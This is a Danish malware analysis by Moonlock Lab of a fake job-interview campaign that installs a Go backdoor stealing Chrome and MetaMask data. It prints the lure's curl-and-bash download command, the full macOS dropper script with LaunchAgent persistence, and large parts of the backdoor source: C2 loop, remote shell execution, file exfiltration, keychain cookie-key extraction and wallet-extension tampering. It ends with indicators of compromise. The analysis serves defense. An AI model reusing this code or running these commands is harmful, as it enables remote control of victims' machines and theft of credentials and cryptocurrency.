
Skrevet af MacPaws Moonlock Lab Team
En igangværende cyberkampagne er rettet mod jobsøgende med falske interviewwebsteder, og narre dem til at downloade en barebones, men alligevel yderst effektiv bagdør. I modsætning til sofistikeret malware, der bruger sløringsteknikker, er dette angreb afhængigt af enkelhed - levering af kildekode sammen med en Go-binær, hvilket gør det på tværs af platforme. Endnu mere bekymrende er dets forsøg på at kapre tilladelserne til den kryptovaluta-relaterede Chrome-udvidelse MetaMask, hvilket potentielt dræner ofrenes tegnebøger.
Kampagnen forbliver aktiv, og nye domæner dukker jævnligt op for at lokke flere ofre. Mange individuelle sikkerhedsforskere og virksomheder, som f.eks
Moonlock Lab-teamet begyndte at spore netop denne malware den 9. oktober 2024, da de første komponenter i bagdøren begyndte at dukke op. En bagdør er en type ondsindet software, der gemmer sig på et system og tillader trusselsaktører at udføre kommandoer eksternt, som om de var de legitime ejere af arbejdsstationen. Disse angreb bruger typisk såkaldte C2-servere (Command and Control) til at sende og udføre kommandoer.
Det, der adskiller dette angreb fra andre, vi typisk observerer, er, at det består af flere stadier og er designet til at fortsætte på et offers maskine i stedet for at bruge et enkelt-shot data-stjælende flow. En komplet oversigt over angrebsstadierne kan ses på billedet nedenfor.
Den første velstrukturerede tråd på X, som vi bemærkede, blev postet af
' Starter normalt med en "rekruter" fra kendt virksomhed, f.eks. Kraken, MEXC, Gemini, Meta. Lønintervaller + beskedstil er attraktive - selv for dem, der ikke aktivt leder efter job. Mest via Linkedin. Også freelancersider, jobsites, tg, discord osv.
For at få den seneste version af denne malware var det vigtigt at overvåge nye domæner, der hostede falske interviewsider. Til dette formål stolede vores team på to uforanderlige indikatorer, som disse domæner deler:
Selvom nogle af de domæner, der blev brugt under denne kampagne, lukkes ned, fortsætter de nye med at dukke op, hvor det seneste stadig er online: smarthiretop[.]online . Vores team har set mere end 20 aktive domæner siden november 2024.
Efter at have undersøgt domænerne, opdagede vi, at nogle af dem deler den samme IP-adresse. Dette sker ofte, fordi angribere bruger skudsikre hostingudbydere, som tillader, at flere domæner hostes på den samme server. Derudover gør hosting af flere domæner på en enkelt IP det muligt for trusselsaktører at rotere domæner uden at ændre backend-infrastrukturen.
Denne ondsindede infrastruktur hostes på forskellige tjenester, der distribueres over hele verden. Som vist på kortet nedenfor, er de fleste servere placeret i USA, med nogle spredt på tværs af andre lande.
Den ondsindede kommando, som interviewpersonerne blev bedt om at udføre, gemmer sig i vinduet, der vises, når de besøger et ondsindet websted. Det er en JS-kode, samlet i filen main.39e5a388.js i dette tilfælde. Sådanne filnavne genereres typisk ved hjælp af en hashing- eller fingeraftryksmekanisme under byggeprocessen af en webapplikation (Reference:
En af siderne har denne indlejrede JS-fil med følgende SHA256-hash:
Vi kunne nemt se, at inde i en indbygget JS-fil er de samme kommandoer, som ofrene blev bedt om at indtaste:
Efter at have forstået, hvordan trusselsaktøren spreder malwaren, var vores primære mål hurtigt at finde prøver og udvikle signaturer til vores brugere. Den første direkte omtale af "produktionsklare" prøver og deres SHA-256 hashes, som vi fandt, var i denne tråd:
Det indeholdt fem hashes, nemlig for:
Ud over dette begyndte vores team at hente ondsindede scripts, som om vi blev narret til at downloade dem, ligesom ofrene. På et tidspunkt blev følgende kommando brugt på falske interviewwebsteder:
Kommando fra skærmbilledet (udfør ikke!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Den udfører handlingerne nedenfor:
Inde i filen ffmpeg.sh, der er gemt i en midlertidig mappe, kan vi finde indgangspunktet for dette angreb, som inkluderer:
Som vi kan se fra scriptet nedenfor, er det specifikt designet til macOS, både Intel og ARM-variationer. Når den har defineret den aktuelle CPU-model, downloader den et ZIP-arkiv med flere filer. Mere detaljeret gennemgang af dette script kan findes på
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Reference:
Indholdet af arkivet (version til Intel CPU), som scriptet henter, er anført nedenfor:
Alle filerne i arkivet kan kategoriseres i et par grupper:
Interessant nok er arkivet cirka 75 MB stort, primært fordi det omfatter mange dele af legitime Go-biblioteker og binære filer.
En af de filer, vi observerede blive brugt i lang tid i dette angreb, er en Mach-O universel binær med 2 arkitekturer, kaldet CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd39526c 7e ).
Det udgiver sig som et Google Chrome-ikon, hvilket får almindelige brugere til at tro, at filen er legitim og forhindrer dem i at slette den.
Koden er skrevet i Swift, og ingen stærke sløringsteknikker blev opdaget, hvilket gør det relativt nemt at forstå eksekveringsflowet.
Det viser et vindue, der ligner et systemmeddelelsesvindue, der beder brugeren om at give mikrofonadgang, der angiveligt er anmodet om fra Google Chrome-applikationen.
Selvom brugeren vælger "Remind Me Later", vises et vindue med adgangskodeprompt stadig.
Appen hævder at kræve mikrofonadgang; det er dog sandboxed, og der er ikke lavet en egentlig anmodning om tilladelse til mikrofonen.
Når brugeren har indtastet deres adgangskode, anmoder malwaren om den eksterne IP-adresse på den vært, den kører på. Det sender derefter password.txt-filen til en Dropbox-mappe opkaldt efter brugerens eksterne IP-adresse.
På skærmbilledet nedenfor kan Dropbox API-URL'en ses.
Mens vi undersøgte netværkstrafikken, kunne vi se forsøg på at hente offentlige IP-adresser på et offer.
Efter IP-adressen er modtaget, kunne vi se anmodninger til Dropbox for at uploade IP-adgangskodepar ved hjælp af hårdkodede legitimationsoplysninger.
Vores team rapporterede denne hændelse til Dropbox sammen med de legitimationsoplysninger, der blev brugt til at gennemføre denne misbrugskampagne.
Det er vigtigt at bemærke, at ZIP-filen, der downloades af ffmpeg.sh-scriptet, indeholder klartekstkildekoden for bagdøren, hvilket betyder, at den hverken var prækompileret eller sløret. Det fremskyndede analysen markant, men rejste også spørgsmål om korrekt tilskrivning. Det er overflødigt at sige, at APT-grupper fra DPRK typisk er langt mere sofistikerede.
En anden usædvanlig strategi er inkluderingen af en Go binær ( /bin/go ) i arkivet i stedet for blot at kompilere den fulde kode. Men da Go ikke er standardapplikationen på mange operativsystemer, kan trusselsaktørerne have inkluderet det for bedre kompatibilitet. Dette giver mening, da malwaren er på tværs af platforme og er rettet mod macOS, Linux og Windows på samme tid.
En graf, der illustrerer relationer og en detaljeret beskrivelse af hver bemærkelsesværdig prøve, kan findes her:
Inde i arkivet er der et script kaldet vcamupdate.sh . Den kører umiddelbart efter udpakning og udfører simpelthen /bin/go (som er bundtet i ZIP), mens den passerer stien til Golang-hovedapplikationen ( app.go i dette tilfælde).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Indgangsapplikationen ( app.go ) er ansvarlig for at generere et unikt UUID til brugerens arbejdsstation, initialisere C2 URL'en og starte hovedsløjfen. I koden kan vi se enkeltlinjekommentarer, udskrifter af understøttende meddelelser og noget kommenteret kode. Det inkluderer også URL'er, der sandsynligvis er beregnet til test, glemt at blive fjernet af udviklerne. På trods af at C2 IP-adressen var anderledes i hovedkampagnen, delte prøver fra 2024 den samme funktionalitet og målrettede de samme data.
Senere bringer kaldet til core.StartMainLoop(id, url) os til kerne/ mappen med loop.go og work.go filer. Loop.go -filen er hovedsageligt ansvarlig for at modtage og udføre kommandoer fra C2, kalde undermoduler, der indsamler følsomme data, og uploade dem til fjernserveren. Den indeholder mange funktioner, hvoraf 8 vi gerne vil fremhæve og udforske mere detaljeret.
Denne funktion bruger config-undermodulet til at initialisere tilgængelige kommandoer og lytte efter indgående. Nedenfor kan du finde en tabel med alle kommandoerne sammen med deres tilsvarende koder. En mere detaljeret analyse af bagdørens funktionalitet kan findes i
Kommandonavn | Kodet navn | Beskrivelse |
---|---|---|
COMMAND_INFO | qwer | Få brugernavn, vært, OS, arch |
COMMAND_UPLOAD | asdf | Upload og dekomprimer vilkårligt arkiv fra C2 til vært |
COMMAND_DOWNLOAD | zxcv | Download stjålne data til C2 |
COMMAND_OSSHELL | vbcx | Initialiser interaktiv shell mellem vært og C2 (udfør vilkårlige fjernkommandoer) |
COMMAND_AUTO | r4ys | Indsaml automatisk følsomme data |
COMMAND_WAIT | ghdj | Vent i X sekunder |
COMMAND_EXIT | dghh | Afslut hovedsløjfe (sat levende=falsk) |
Baseret på kommandoen modtaget fra C2 vil en passende funktion blive kaldt.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Denne funktion vil indsamle grundlæggende systemoplysninger såsom brugernavn, værtsnavn, OS-version og arkitektur. Det er værd at bemærke, at de fleste af de populære infostealere indsamler langt flere systemoplysninger end denne malware.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
I dette tilfælde repræsenterer upload processen med at sende en arkivfil fra C2 til den inficerede vært, efterfulgt af dens dekomprimering. Det angiver også, om dekompressionen var vellykket.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Denne funktion er det modsatte af den forrige. Den udfører komprimering af en mappe med filer, der er indsamlet på forhånd i tar.gz-arkivet.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Dette er en funktion, som en ægte bagdør skal have. Den afventer vilkårlig kommando og forsøg på at udføre den. En kommando kan have kommandolinjeargumenter, og outputtet vil blive logget direkte til en C2.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Dette er indgangspunktet for stjælestrømmen. Denne funktion indeholder flere opkald til filerne i auto/mappe. De omfatter grabbere, processorer eller modifikatorer af følgende data:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Hjælpefunktion bruges til at sende bagdøren i dvaletilstand og afventer yderligere kommandoer.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Dette er en hjælpefunktion, der bruges til at forlade hovedsløjfen for kommunikation med C2.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Auto/ mappen indeholder et sæt Go-apps:
basic.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
For at afslutte vores analyse skal vi fremhæve de vigtigste punkter:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080